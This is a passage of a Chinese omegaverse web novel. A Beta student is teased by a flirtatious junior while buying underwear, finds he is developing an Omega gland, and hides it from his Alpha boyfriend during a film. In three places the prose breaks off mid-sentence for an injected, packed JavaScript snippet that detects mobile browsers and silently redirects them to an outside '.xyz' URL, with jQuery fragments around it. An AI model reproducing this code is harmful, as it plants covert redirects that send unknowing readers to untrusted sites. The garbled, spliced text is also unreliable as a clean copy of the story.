“嗯。”苏拢烟话音方落,一抹潮红袭上面颊,好烫。 祁禁猛地蹬下脚踏,单车平稳前行。 - 快入秋了,暖风拂面吹来,裹挟着空气里干燥清爽的味道,暖融融地扫过苏拢烟的面颊,他微微眯起眼睛,仰头看着少年在风中扬起的银灰色狼尾辫。 几缕不听话的发丝被风带起,来回搔刮苏拢烟的额尖,带来一阵细微而持续的酥痒。 像被羽毛挠痒痒。 苏拢烟没有回避,而是更紧密地抱住温热的腰,感受着单车前进时的平稳节奏,听耳边柔和的风声,和少年沉稳的呼吸声…… 共享单车最终停在一处高楼林立的绿化带前。 苏拢烟仰起头瞻望,巨大的玻璃幕墙反射出澄澈蔚蓝的天际,入口处的LOGO——“黄金四角区”被阳光烘托得璀璨炫目。 空气里弥漫着金钱的味道。 他从后座下来,腿有点麻。刚才被祁禁的发丝一路撩拨带来的绮念,被眼前冰冷而奢华的场景冲刷得一干二净,只剩下格格不入的局促。 祁禁倒是从容不迫,长腿一收,下了车,随手将共享单车锁在停放区。 “走吧,学长。”他唇角噙着淡笑,朝那扇旋转玻璃门走去。 苏拢烟定了定神,跟了上去。 踏入商场的瞬间,着实有点晕眩。光鉴可人的大理石地板,一盏盏繁复精巧的吊灯曜如星辰,空气清雅,蕴着淡淡的香氛,耳边是若有若无的轻柔音乐。 走道两旁的橱窗里,陈列着当季最新的服饰、包袋和珠宝,每一件都很精致很漂亮,只是……价格太夸张了。 苏拢烟走在祁禁后面,眸光扫过商品。 一件设计简洁的T恤,标价六位数。 一只男士皮质钱包,抵得上他小半年的生活花销。 …… 其实每一件都很好看,很入眼,从剪裁到质料。只是真的太贵了,贵到让他连多看一眼的勇气都失去了。 祁禁似乎没有觉察到苏拢烟的窘迫,他步伐悠闲,像在逛自家花园,偶尔还会在店门口驻足,饶有兴致地打量橱窗里的商品,然后侧头问苏拢烟:“学长觉得这个怎么样?” 苏拢烟只能含糊其辞地应付道:“挺好的。” “那这个呢? “也不错。” 回答得心不在焉。 他们就这样漫无目的地逛了许久,从男装区到配饰区,又绕到电子产品和生活品牌。苏拢烟从起初的局促,到麻木,再到此刻,心头只剩下承载着压力的疲乏。 就在苏拢烟不想继续接受这场“酷刑”的时候,祁禁在一家店的门口停了下来。 店的门面是灰咖色的,极简,低调,磨砂背景墙上,勾勒着一个充满力量感的符号,符号下面,有一行英文小字:EternaCode - E ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575205|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' nigma Bespoke Underpants。 Enigma专定内裤店。 苏拢烟的脚步顿时滞住,一股热意蓦地从脖颈窜至脸颊。 祁禁带自己来这里干什么?! 祁禁像是没注意到苏拢烟泛红的耳尖,他语气平和而自然地说道:“进去看看。” 苏拢烟喉结发紧:“……” 买内裤,还是Enigma的。这实在……太私密、太超过了! 祁禁不等苏拢烟出声,自问自答似的“嗯”了一声:“生日,总得让朋友给自己买点新东西。” 他说得理所当然。 苏拢烟站在原地,脸色绯红。周围零零散散的有顾客经过,投来好奇的目光,愈加让他觉得无地自容。 他一个Beta,跟着Enigma,逛专门为Enigma定制内裤的商店,这画面太奇葩了。 “学长,不进来吗?”祁禁站在自动开合的玻璃门旁,回过身,打量着苏拢烟。 少年的眼神,清澈,明净而坦荡,还有点无辜。 苏拢烟咬了咬泛白的唇瓣,跟了进去。 商店内的空间不算大,布置得极为雅致。冷色的光晕,蕴着干净清冽的雪松混合矿石的味道,不是信息素,却营造出一种恰到好处的私密氛围。 墙壁上的展柜里,陈列着各式各样不同材质和款式的男士内裤,叠放得整整齐齐。不花哨,大多是黑、白、灰、深蓝这些沉稳的色调。 一位穿着黑色西装套裙的女营业员迎了上来,脸上带着职业微笑,目光停留在祁禁身上,她微微颔首,用专业而柔和的声音说道:“先生,下午好。请问是想看日常通勤款,还是运动机能型?我们最近推出一款冰蚕丝材质的男士内裤,透气性和舒适度都非常好,很适合贴身穿着。” 苏拢烟站在稍微靠后的展柜旁,看着营业员引导祁禁走向一个个陈列着样品的展示台,听他们低声交流着面料、剪裁、支撑性之类的词语,感觉自己像个误入成年人世界的孩子,浑身都不自在了。 祁禁听着介绍,微微颔首,偶尔伸出手,触碰那些柔软的布料,动作从容。 营业员又从柜子里取出几款不同的样式,摊开在铺着绒布的展台上。 “先生,这几款是我们本季的主打。这款是 Oblivium系列的,采用进口微米莫代尔,极致亲肤;这款,是Aenigma 系列的,侧边有特殊的网状结构,提供更好的透气和支撑,适合运动量大的时候穿;还有这款……” 苏拢烟感到有点闲闷,便也专注地看起了内裤。它们设计简洁,利落,在剪裁和面料上十分考究。能想象出,当它们贴合身体时的触感一定很柔软,透气,熨帖。 然而这种想象让他脸颊上刚褪下的红晕又悄然回升了。 祁禁开始对营业员的介绍兴致缺缺,他不再伸手去触碰面料,只是懒洋洋地扫了几眼,而后,转过身,眸光径直看向苏拢烟。 “学长,你觉得哪款好看?” “……” 13. 第13章 苏拢烟的指节蜷了蜷,银丝边眼镜的镜链轻轻颤荡。 什……什么? 一股热意如燎原之火袭上颈侧,细细密密地包裹着他的耳轮。 薄薄的一小片粉嫣的耳尖瞬间浓成绛红,喉结上那颗小痣随着吞咽的动作挺立了起来,大概是因为主人太过紧张,衬得它愈发饱满,秾丽。 祁禁倚在展柜旁,额前垂下几缕银灰色,发丝在清冷的光线中泛着绸缎般的光泽。那双墨染的瞳眸蕴着浅笑,唇角勾起恰到好处的弧度,静静地等待苏拢烟回应。 苏拢烟张了张唇瓣,又是:“……” “学长对内裤的品味,一定比我好。”少年圆润的指尖轻点了下展柜玻璃,补充道。 每个字音都裹着薄荷糖般的清冽,却在尾音里藏着钩子。 营业员恰时投来询问的目光,职业化的笑容里掖着几分了然。苏拢烟察觉到她眸底闪过的揶揄。 真想夺门而出。 柔软轻薄的织物在射灯下泛着光圈。平角剪裁完美贴合身体,而那一条侧边的镂空网看起来又很透气。 “都、都挺……不错的。”苏拢烟的声音很轻,很小,镜链随着低头的动作微颤,在他的锁骨边沿投下碎光。 可少年不依不挠。 祁禁朝他踱了过来,低头时发丝的梢头扫过苏拢烟发烫的耳垂,吐息温热,“学长看得好认真”,硕果般的喉结随着低笑震荡起来,“是在想象我穿上的样子?” “胡说什么!”苏拢烟倒退了半步,“我是在,是在……” 他犯规了,他刚才确实纵容自己去想象,少年劲瘦有力的肌肉线条,沿着腰线和下陷的小腹,被这些黑、白、灰……分别包裹住的画面。 话如鱼骨哽在喉间。 营业员体贴地后退两步,假装整理货架。 祁禁又压近了几分,T恤下摆随着他抬手的动作掀起一角,露出一截侧腰,人鱼线若隐若现。 “黑色太闷,灰色又像老头穿的。”少年骤然正色起来,指尖划过展柜玻璃,最后停在纯白的那款上面,“这个颜色……” 苏拢烟小心翼翼地抬眸,顺着骨节分明的手指望去。 “不觉得和学长的短袜很配吗?”祁禁低声笑着,突兀的喉结带动锁骨下方诱人的阴影,“开玩笑的”,他直起身,从展柜里抽出那款白色,“就这个吧。” 语气无邪而自然。 苏拢烟长长地呼出一口气,转过身准备朝柜台走去。 “其实,”祁禁慢悠悠说道,温热的胸膛似有若无地贴上他紧绷着的背脊,“我刚刚骗了学长”。 “我更喜欢深蓝色的。” …… “那,学长去结账吧。”祁禁挑了挑眉弓,手指勾起那条纯白内裤,在苏拢烟的面前晃了晃,声音轻快道,“生日礼物,我现在就想穿。” “现在?!” 苏拢烟顿时感到自己脚下的大理石板在碎裂。 不等他反应过来,祁禁已经拎着那条崭新的内裤,转身走向试衣间。黑色皮筋束起的银灰色狼尾辫在他脑后轻晃,映在橱窗玻璃上,宛如一抹小小的银河。 结、结账。对。 试衣间那边传来“咔哒”一声落锁的声响。 “先生,扫码还是现金?”营业员的声音将苏拢烟拽回了现实。 他这才意识到掌心早已沁出了薄汗,眼链也不知何时缠上了衬衣纽扣。 苏拢烟拿出手机,打开扫码页面。收银台墙上反射的光晕里,折射出他红透了的耳垂。 试衣间里传来衣料摩擦的窸窣声。营业员适时地轻声说道:“那位先生拿进去的那款,是冰丝材质,亲肤性很好,非常贴合身体。” 收银机咔咔作响,小票从出纸口缓缓吐出,试衣间的门锁再次转动。 苏拢烟拈着小票的指尖一阵战栗。 怎么没有动静了? 苏拢烟微微侧过头,看到祁禁正闲淡地倚着门框,嗓音慵懒,像是刚睡醒似的,又带着餍足的哑音:“学长。” 苏拢烟回过头,不再看他。 而运动鞋踩在地面上发出的脚步声正不紧不慢地跌进。 苏拢烟的余光瞥到祁禁一只手里拎着一个塑料袋,里面鼓鼓囊囊的,隐约显现一团深色,是他刚换下的内裤。 “学长。”祁禁又唤了一声,声音更近了,鼻息几乎贴近他的耳尖:“你的脸,怎么这么红?” 苏拢烟紧忙把视线转移到另一边,银丝边眼镜的镜链摇曳得厉害。 “都红到耳根了。”祁禁的尾音拖曳得很长,“在想什么呢?嗯?” “没、没什么!”苏拢烟喉咙发紧,他是真不敢看祁禁现在的表情。 哪儿哪儿都不敢看。 琥珀色的眸光开始慌乱地四处游移,最终又不自觉地落回那只塑料袋,里面是藏青色的吗? 在、在想什么呢?! 倏地撇开视线,好像那条换下来的深色内裤是洪水猛兽。 祁禁低低地笑出声,硕果似的喉结滚动得厉害,他用少年人那近乎天真的残忍语气问苏拢烟:“哦?学长是觉得,我穿白色,不好看?” 这让人怎么回答?!说好看,或是说不好看,都像掉入了猎人的陷阱。 就在这时,一股突如其来的尖锐燥热猛然窜上苏拢烟的后颈。 那里像被灼烧着,不断膨胀着,一阵阵的刺痛。这番感觉来得又急又猛,好似要抽干他面颊上因羞赧而泛起的潮红,只留下一片纯粹的苍白。 “嘶——”苏拢烟抬起手捂住后颈,指尖触及到的部位,皮肤太过滚烫了,仿如底下有岩浆在涌动。 “学长?”祁禁疑惑,他往前倾了倾身,似乎想要看得更清楚些,“你怎么了?不舒服?” 少年温热的鼻息喷洒在他的耳侧,非但没有缓解苏拢烟的不适,反倒像是火上浇油,让燥热和胀痛愈发深刻。 得赶紧离开这里。 苏拢烟的额尖沁出细密的汗珠。这股陌生而倔强的痛楚,让他恐慌极了,远胜于方才被祁禁挑弄时的羞迫。 他顾不上祁禁探究的眸光,也不顾上什么礼貌周全。 “我身体突然有点不舒服。”声音颤栗,措辞颠三倒四,“可能感冒,不,中暑了,我先回学校了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575206|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 话音未落,他已然转过身,脚步踉跄地朝店门口走去。没有再看祁禁一眼。 玻璃门自动打开,又缓缓合上。 背后那道讶异的眸光,如有实质般追着他,直到他逃也似地消失在人来人往的过道里。 可苏拢烟完全没有注意到,在他转身的那刻,祁禁那双总是蕴着笑意的松烟墨眸里,飞快闪过若有所思的眸色。 少年已经注意到祁禁后颈被捂住的位置,鼻尖轻轻动了动。 - 踏出黄金四角区的大门,初秋的柔风迎面拂来,苏拢烟感受不到丝毫的爽意。后颈那一小块皮肤依然在灼烧,胀痛,像一块烙铁贴在那里,感觉太过强烈。 他伸手用力按了按后颈,试图缓解不适,没有任何效果。 一种莫名的恐慌在心底蔓延开来。 他没有心思去想别的了,只想着快点回去。 打了辆车,火急火燎地赶回学校,苏拢烟一路小跑冲进了校医院的医务室。 “医生,麻烦您帮我看看。”他喘着气,指了一下自己的后颈,“这里,有点疼,还特别的热。” 值班的是一位戴着眼镜、看起来很温和的中年Beta女医生。 她搁下手里的病例,抬头看向苏拢烟:“同学,别急,坐下来慢慢说,怎么个疼热法?” 医务室里的消毒水味道让苏拢烟稍稍冷静了些许。 “就是一阵一阵的胀痛,还有点麻,特别灼热。”苏拢烟尽力描述那种奇怪的感觉,焦急道,“从刚才,不对,是从昨晚就开始了。” “是落枕了,还是运动拉伤了?”医生一边问,一边示意苏拢烟侧过身,方便她检查。 “应该……都不是。” 医生的指尖轻轻按上他后颈那块发热的皮肤,仔细检查着。 “是这里吗?”她按了按颈椎旁边的位置。 “不,再往下一点点。”苏拢烟引导着。 医生的手指挪移到他所指的位置,那里正是灼热和胀痛的中心,她按了按,又仔细地看了一下。 “奇怪。”医生停下手上的动作,眉头微微皱起,面上的表情从最初的温和转为困惑,惊讶,“同学,你……确定你是Beta?” 苏拢烟愣怔:“对的,我是Beta,入学体验报告上都是这么写的。” 医生没有立刻回话,而是凑得更近一些,她推了推鼻梁上的眼镜,试图看得更清楚。 她的手指在那一小块皮肤上轻轻摩挲,神情愈发凝重起来。 “这就古怪了。”医生喃喃自语,而后抬起头,看着苏拢烟,眼底盛满了不解,“按理说,Beta在成年之后,性别特征就完全稳定了,不会再有二次分化的可能性……” 苏拢烟的心蓦地一沉,疑惑,恐慌,像千斤巨石般压上来:“医生,您……这话是什么意思?” 医生酝酿了一会,似乎在斟酌用词,最终,还是选择了一种相对直接的方式来表述:“同学,你后颈这里,皮下组织有异常增生和发热。” “我刚才检查过了,你这里……正在形成一个……非常初级的……腺体雏形。” 14. 第14章 “腺体……雏形?”苏拢烟顿时感觉浑身的血液在逆流,脑袋像被什么重物狠狠撞击了一下,只剩下一片茫茫的白。 医生看到他不可思议的震惊模样,有点无措,但还是继续解释道:“对的,就像……分化初期的Omega脖颈后面开始发育的腺体胚芽。但,你已经大三了,早就过了分化期,还一直是个Beta,理论上这是不可能发生的事情。” 腺体胚芽?Omega? 不可能发生…… 这几个关键词像一记重拳,将苏拢烟从小到大建立起来的世界观砸得粉碎。 一个发育成熟的Beta怎么可能突然长出Omega的腺体? 这比给祁禁买Enigma专定内裤还要荒谬万倍! 医务室里的两人都缄默了,苏拢烟愣怔地坐在椅子上,被浇了一头凉水似的冷意窜遍全身,后颈依然在灼烧,燥热难耐。 他不能接受,至少现在接受不了自己的人生正在朝一个完全失控的方向极速前进,偏离了既定的安全轨道。 “腺体雏形?”苏拢烟又重复了一遍,嗓音干涩而微哑,“医生,您没弄错吧?我真的是Beta啊,从来都是……” 每个字都说得很艰难,好像要耗尽他所有的力气,说到最后一句时,听起来已苍白无力。 眼前的一切在他眸底扭曲、旋转,头顶的日光灯像炸开的冰棱,分明泛着炽白的光,却感受不到丝毫暖意。 “理论上来说,Beta在成年后性别特征极为稳定,没有二次分化的先例记载。”医生一边说一边推了推鼻梁上的眼镜,尽量让语气听来冷静,她看着苏拢烟白得像纸的脸,小心翼翼地补充道,“你后颈这里的情况,确实是一种非常罕见的……正在发育的腺体组织。它的活跃度和温度,都不低……” “没有先例?”苏拢烟的眸底突然闪过希冀的光,声音颤抖道,“那会不会是别的什么?比如过敏,发炎,又或是肿瘤?” 他宁愿相信自己患上糟糕的疾病,任何疾病都能接受,也好过现在的诊断结果。 医生轻轻摇了摇头,眼神里盛满同情:“从组织形态和位置来看,非常……精准地指向了Omega腺体发育的初级阶段。当然,这是不寻常的,我建议你尽快去市区的大医院做一个更全面的信息素和基因检测。就目前的体征来看……” 她没有继续说下去。 不可能! 绝对不可能的! 苏拢烟踉跄着走出医务室,脑海里像炖着一锅胡乱调配的沸粥。阳光穿过水杉的树叶缝隙洒下来,空气里弥漫着类似闻野信息素的味道,可苏拢烟的呼吸仿佛滞住了,体会不到沁人肺腑的舒爽感了。 他不可以变成Omega!在他的人生规划里,从来没有过这个选项。 他是他人眼中品学兼优的可靠Beta,他的未来应该按部就班,怀抱清晰可见的理想,而不是被一个突然冒出来的腺体雏形搅得天翻地覆。 就这样端着一团混乱的思绪踟蹰在校园里,他抬头看到一栋建筑,好久没去了,对,那里可以拯救自己——图书馆。 校图书馆有很全的资料,或许,能找到关于Beta二次分化的记载,哪怕只有零星的不被主流承认的研究成果,甚至还能找到抑制腺体发育的方法。 这个念头像旱地甘露,让苏拢烟在黑暗中摸索到一点希望的苗头。 他大步跑向图书馆,连迎面走来的同学跟他打招呼都置若罔闻。 图书馆里非常安静,甚至能听到自己剧烈而烦躁的心跳声,书架间摆着一排排弥漫着纸墨味道的书籍。已经是饭点时间,偌大的阅览室只有寥寥无几的学生在翻阅书籍。 苏拢烟走到“生物学与基因学”区域,抬眸快速扫过书脊。 他就像个不会游泳的溺水者,想要奋力抓住一根能救命的稻草。 一本接着一本翻阅,从基础理论到前沿研究,没有,没有相关记载。 他开始在学校的电子数据库检索关键词。 “Beta二次分化”、“腺体异常增生”、“性别逆转可能性”、“抑制Omega特征”,…… 屏幕上跳出来的结果屈指可数,要么就是与他的情况完全无关的论文,要么就是明确指出“Beta性别稳定性极高,成年后不存在二次分化可能”的结论性论述。 时间一分一秒流逝,窗外,天色逐渐黯淡下来,图书馆里只剩下他一个人在不知疲倦的翻找。 后颈的灼热和刺痛一阵接着一阵袭来。 为什么!为什么偏偏是他?! 他不甘心,又一次打开检索框,搜索那些被归类为“边缘科学”和“都市传说”的条目,指望能找到哪怕一点点蛛丝马迹。 “远古基因返祖?”,“信息素变异?”,…… 词条看起来更像是科幻小说设定,而非严肃科学理据。里头的内容更是语焉不详,满屏的揣测,都是无法证实的传闻。 没有,什么都没有。 当寄托着他最后希望的检索屏幕上出现了“未搜到相关结果”的提示,苏拢烟支撑不住了,他颓唐地倚靠在椅背上,双手无力地垂下。 眼镜滑到鼻尖,镜链轻晃了一下。 图书馆的灯光照在他的面颊上,衬得他因绝望而泛白的脸愈发茫然。 没有解释,也没有先例,更别提什么阻止腺体发育的方法。 他该怎么办? 去大医院检查吗?然后,得到一份更加权威的,确认他正在变成Omega的报告? 他不敢想象,如果这件事被别人知道,被闻野知道…… 疲惫如潮水般涌向四肢百骸,不仅仅是身体上的,更多的是精神上的巨大内耗,几乎要将苏拢烟吞没。 他只想逃避了。 苏拢烟慢慢站起身,他没有收拾书桌上散乱的书籍和资料,只是麻木地一步步走出图书馆。 夤夜时分,校园里空无一人,路灯在地上投下水杉颀长的树影,低头望去,好似沙漠里一个个徒步前行的旅人。 秋风有点凉,吹刮在脸上,生疼。 后颈那一小块皮肤依旧在隐隐作痛,时刻提醒着苏拢烟,这一切不是噩梦,而是现实。 他不清楚自己是怎么走回宿舍楼的,也不记得是怎么打开宿舍门的。 宿舍里一片漆黑,室友大抵是睡着了,隐约传来轻微的鼾声。他没有开灯,摸黑走到自己的床边,一头栽进床上。 即使陷进柔软的被褥里,也没有丝毫的慰籍。苏拢烟蜷缩起身体,将头深深埋进枕头里,仿佛这样就能隔绝这个残酷的世界。 睡吧,睡着了,就什么都不用担心了。 黑暗中,细微的燥热,刺痛,还在持续不断、顽固地折磨着他。 - 意识像冰山被撞碎的一角,从海底挣扎着浮向海面,伴随而来的还有疲惫与无尽的绝望。 苏拢烟蓦地睁开眼,晨光透过薄纱窗帘,扎进他干涩酸胀的眸子。珀尔还沉浸在睡乡中,头顶传来他平稳的呼吸声,衬得苏拢烟胡乱狂跳的心脏格外乖戾。 他连动弹一下的力气都没有,像一尊僵硬的石像平躺在床上。后颈发育中的腺体在这个早晨也没有安分,灼热混杂着一种向外膨胀的酸麻,一晚上的时间过去,它似乎马上要像罂粟那般绽放出媚人而危险的花来。 苏拢烟狠狠地咬了一下唇瓣,唇珠陷进齿间,沁出腥甜。 他宁愿相信自己得了罕见的绝症,也好过接受这陌生的,颠覆性的改变。 没有解释,没有解决的方法,唯有在他身体上肆意蓬勃滋长的Omega腺体。 就在此时,枕边的手机“嗡嗡”振动了一下。 苏拢烟过了好几秒才迟钝的侧过头,屏幕亮着,上面弹出了“闻野”的名字。 他屏着呼吸,用颤抖的手指划开屏幕。 是一条寻常不过的约会邀约消息: 闻野:【小烟,醒了吗?今天是周日,下午一起去看电影?】 闻野:【最近上映了一部科幻片,评价很不错。】 “一起”,“看电影”,这些词组合在一起,本该构成一张美好而亲密的合照。若是放在从前,他大概会勾起唇角,迫不及待地回复一个“好”字,然后开始考虑下午该穿什么。 可现在…… 这条微信消息,像一捧盐粒,一把洒进他的痛处。 去和闻野约会? 就像什么也没有发生一样,和他并肩坐在电影院里?感受着他身上若有若无的曾经让自己感到心安的Alpha信息素? 苏拢烟不知道怎么去想象这般场景。 如果闻野靠近他,用青涩短密的胡茬蹭他的掌心,会不会察觉到什么异样?会不会闻到他身上不留神释放出来的不属于Beta的信息素? 后颈的灼痛又加剧了几分。 “不,不能去。”他喃喃自语道,声音很轻,也很喑哑。 他恐惧闻野的靠近,恐惧任何可能暴露自己身体异样的亲密接触。Alpha对信息素的感知远比Beta敏锐,如果,闻野万一察觉到了…… 他应当如何解释?说自己要变成一个Omega了? 闻野会是怎样的反应?震惊?还是厌恶? 他仰起头,闭上眼眸,指尖由于过度用力而泛白,似要把手机屏幕捏碎。冷汗从额角滑落,浸湿了碎发。 不能拒绝得太突兀。 闻野虽然有时候有点迟钝,但不是蠢。他们才确定关系不久,正在热恋当中,无缘无故拒绝男友的约会邀请,反倒容易引起怀疑。 他必须去,假装一切如常。 至少,在搞清楚这一切到底怎么回事,在找到解决办法之前,不可以让任何人发现这个秘密,尤其是闻野。 苏拢烟酝酿了一下,深呼一口气,才在对话框敲下: 【刚睡醒。好啊,下午几点?】 已发送。 盯着那条那条承载着心虚的绿色气泡,苏拢烟的指节蜷了蜷,有些麻木。 他倒头瘫软回枕头上,眼神空洞地望着珀尔的床板。阳光越来越明媚,将宿舍照得一片敞亮,可他只觉得浑身寒凉。 坠入冰窖一般。 - 下午接近傍晚的时候,电影院入口人头攒动,喧嚣声混杂着零食的味道弥漫在空气里,很是热闹。 苏拢烟站在约定好的检票口旁,指尖发凉,每一次呼吸都伴随着隐隐的钝痛。他竭力维持着面上的平静,还勉强扯出一个温和的笑靥。只有他自己知道,这副伪装的从容之下,是多么波涛汹涌的恐慌。 “小烟!” 熟悉的声音穿过嘈杂的人群,像一束暖光照向苏拢烟。 苏拢烟循声张望,一眼就看到了人群中格外惹眼的闻野。他今天穿了件清爽的海魂衫,Alpha天生优越的骨架衬得他挺拔而魁硕。他正笑着朝苏拢烟挥手,手里还夹着两张电影票。 “等很久了吗?”苏拢烟走向闻野,声音尽量放得平稳自然。 “没,我也刚到。”闻野朝他扬了扬下颌,今天胡茬清理过,干净,微微泛青,“票买好了,科幻片,评分最高的那个。你饿不饿?我去买点爆米花和可乐。” 不等苏拢烟回答,闻野已然转身走向一旁的小超市。不一会,就端着一大桶爆米花和两杯加了冰的可乐出来,他将其中一杯塞到苏拢烟手里,冰凉的杯壁激得苏拢烟一阵战栗。 “走吧,快开始了。”闻野说着,伸出空着的那只手,揽在苏拢烟的腰间。 “!!!” 苏拢烟猛然一颤。 闻野掌心的热温透过薄薄的衬衣布料传递过来,腰侧的肌肤仿佛被点燃。 伴随着清冽干净的水杉气息,这曾让他感到依赖的味道此刻像针,扎进神经里。 他屏住鼻息,身体僵硬,脑海一片空白。 离远点!离远点! 苏拢烟好害怕。 生怕自己后颈那块可能已经泛红的皮肤会不受控制的散发出什么味道来。 “怎么了?小烟。”闻野似乎察觉到了苏拢烟身体的异样,低头担忧地看了他一眼,眸底满是疑惑,“不舒服?” “没,没有。”苏拢烟的牙尖在打战,他强迫自己放松,为了掩饰慌乱,还刻意往闻野怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575207|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里靠了靠,“就是刚才站久了,腿有点麻。” 借口拙劣得连他自己都听不下去。 好在闻野没有深究,只是淡然地笑了笑,揽腰的力道加重了几分,带着苏拢烟跟着人群检票,走进放映厅。 放映厅里冷气很足,巨大的荧幕亮起,播放着映前广告。 两人找到中间的位置坐下。 很快,灯光彻底熄灭,电影开始了。 撼动全场的激昂配乐,炫目的特效,宏大的海底场景,典型科幻大片开场。 邻座的闻野振奋起来,身体微微前倾,目光专注地盯着荧幕。时不时拿起可乐喝一口,抓一把爆米花塞进嘴里。 苏拢烟好像短暂失忆一般,一个镜头一句台词也没记住。 他就那样怔怔地坐在那里,冰凉的可乐杯壁上,凝结的水珠濡湿了他的指尖,他也毫无所觉。 后颈在冷气的包裹下,灼痛愈发清晰,仿如一座正在蓄积能量的火山,随时可能爆发。 他到底怎么了?以后又会怎样?真的……会分化成一个Omega吗? 如果真的成了Omega,闻野还会像现在这样对他吗? Alpha和Omega之间的确存在致命的吸引力,但闻野喜欢的是那个成熟可靠、清冷自持的Beta,苏拢烟,而不是一个随时可能会发情,需要被标记,散发着甜腻信息素的Omega。 他了解闻野,或许,闻野会惊讶,觉得不可思议,但绝不会喜欢这份“惊喜”的,可能还会觉得自己被欺骗,产生厌恶的情绪。 黑暗像一个巨大的茧,将苏拢烟密不透风的束缚起来。周遭明明坐满了观众,耳边传来电影的巨大声响,身旁是男友温热的体温,可苏拢烟只感到无尽的孤独。 秘密太过沉重,压得他喘不过气。 要不,告诉闻野吧? 他是自己的男友啊,是自己要共度未来的人。或许,他会理解呢?说不准,他还能和自己一起想办法,纵使不能,至少也不用自己一个人终日惶恐不安了。 这个念头想昙花一样猛然间绽放。 苏拢烟的心跳加剧,几乎要跃出来了。他的喉咙有点发干,喉结的痣颤抖着,膝盖上的手不自觉攥紧了裤管。 他微微偏过头,看向闻野。唇瓣翕动了一下,几乎要冲破唇齿: “闻……” 然而,他只发出一个不成调的音节。 他清楚地看到闻野的侧脸,在荧幕灯光的映照下格外专注,眉头微蹙,眼睛一眨不眨地跟随着电影镜头,此刻正在上演激烈的战斗场面,闻野的嘴角轻轻抿着,勾起紧张的弧度,他完全沉浸在电影剧情里了,对苏拢烟这边的动静丝毫未察觉。 一瞬间仿佛有一盆凉水兜头浇下。 将苏拢烟心头那点微薄的勇气浇得七零八落,凉透了。 是啊,他怎么会觉得现在是坦白的好时机呢? 在闻野看得正投入的时候,告诉他“我要分化成Omega”了? 这简直比电影本身还科幻。 就这样,承载着他所有希望的坦白,被硬生生的,裹挟着唇珠上的血腥味,咽了回去。 算了吧。现在不是时候。或许,永远都不是时候。 终究只能他自己一个人扛。 苏拢烟缓慢地转回头,眸光茫然,落在荧幕上。光影跳跃闪烁。 与他无关的喧嚣。 静静坐着的他,像极了一座被遗忘的孤岛。 唯有后颈持续而隐秘的灼痛在时刻窥探着他的情绪。 他甚至不知道电影演到哪里了,主角在做什么,剧情是紧张还是舒缓。 直到—— “轰!” 仿若平地惊雷起,荧幕上的画面骤然一变。 剧烈的爆炸和紧张的追逐消失了,取而代之是一片幽蓝的海底世界。光晕迷离,水浪荡漾,静谧,绮丽。 紧接着,一个散发着莹莹鳞光的身体撞入了所有观众的视野。 那是一只人鱼。 准确地说,是一只Omega人鱼。 他有着漂亮到极致,脆弱而可人的脸庞,金色的卷发像一片粼粼的光在水中散开,覆盖着细密鳞片的鱼尾闪烁着梦境般的光泽。 他看上去惊慌失措,眼角带着未干的星辰般的泪痕,湿漉漉的,让人不自觉想要狠狠怜爱。 下一秒,另一个充满力量感的,铜色肌肤的身体闯入画面,那是一个胸肌饱满的人类Alpha。 Alpha不由分说地将那尾漂亮的人鱼Omega揽入胸膛,粗砺的手指掐着Omega纤细的腰肢,近乎野蛮的占有欲溢出荧幕。 镜头给了一个极具冲击力的特写—— Alpha宽大的手掌几乎整个握住人鱼的侧腰,铜色肌肤紧贴着细嫩滑腻的鳞片,肌肉贲张的臂膀像铁钳一样,将那纤细柔软的身体牢牢禁锢在怀里。 人鱼仰着下颌,金发在幽蓝中荡漾,脸颊上的痛苦与迷离交织着,在变幻的光线下难以分辨他真实的情绪,但那微微张开的泛着水光的唇瓣,传递着惊心动魄的诱惑。 画面没有切换。镜头甚至缓缓拉近。 Alpha低头,啃咬般吻上人鱼Omega的脖颈,吻痕落在脆弱的腺体旁边。与此同时,华美的鱼尾哀求似的缠上Alpha结实的小腿。 水流无声的波动,光影迷乱摇曳,镜头逐渐拉远,娇弱与壮硕,在深海的静谧中,缓慢用力地起伏,交缠。 严丝合缝。 原始而滚烫。 “嘶……” 黑暗中,不知是谁倒抽了一口凉气。 转而,放映厅里又变得异常安静。 爆米花的咀嚼声消失了,结伴观影的人之间的窃窃私语也停止了。只剩下此起彼伏的被刻意压抑的呼吸声。 空气粘稠而灼热。弥漫着无声的、躁动的、如若实质般的欲望。 苏拢烟似乎也感觉到周围人身上陡然升高的体温,被荧幕上的画面点燃的渴求。 Alpha对Omega的渴求。 又或者,仅仅是对极致情欲场面的本能反应。 15. 第15章 荧幕上的画面烫得苏拢烟禁不住想要移开视线。 